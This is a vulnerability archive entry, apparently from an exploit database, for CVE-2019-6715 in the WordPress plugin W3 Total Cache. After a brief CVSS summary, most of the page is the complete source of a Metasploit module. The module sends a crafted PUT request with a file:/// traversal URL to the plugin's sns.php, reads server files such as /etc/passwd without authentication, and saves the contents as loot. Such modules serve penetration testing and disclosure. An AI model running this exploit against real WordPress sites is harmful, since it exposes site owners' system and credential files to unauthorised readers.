WordPress Plugin W3 Total Cache Unauthenticated Arbitrary File Read (Metasploit)

2021.01.06
Credit: SunCSR
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress W3 Total Cache File Read Vulnerability', 'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in WordPress plugin 'W3 Total Cache' version 0.9.2.6-0.9.3, allowing arbitrary file read with the web server privileges. }, 'References' => [ ['CVE', '2019-6715'], ['WPVDB', '9248'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-6715'], ['URL','https://vinhjaxt.github.io/2019/03/cve-2019-6715'], ], 'Author' => [ 'VinhJAXT', # Vulnerability discovery 'Hoa Nguyen - SunCSR Team' # Metasploit module ], 'DisclosureDate' => '2014-09-20', 'License' => MSF_LICENSE ) ) register_options( [ OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 2]) ] ) end def check check_plugin_version_from_readme('w3-total-cache', '0.9.4', '0.9.26') end def run_host(ip) traversal = '../' * datastore['DEPTH'] filename = datastore['FILEPATH'] filename = filename[1, filename.length] if filename =~ %r{^/} json_body = { 'Type' => "SubscriptionConfirmation", 'Message' => '', 'SubscribeURL' => "file:///#{traversal}#{filename}" } res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(wordpress_url_plugins, 'w3-total-cache', 'pub','sns.php'), 'ctype' => 'application/json', 'data' => JSON.generate(json_body) }) fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' unless res.code == 200 fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero? print_status('Downloading file...') print_line("\n#{res.body}\n") fname = datastore['FILEPATH'] path = store_loot( 'w3_total_cache.traversal', 'text/plain', ip, res.body, fname ) print_good("File saved in: #{path}") end end


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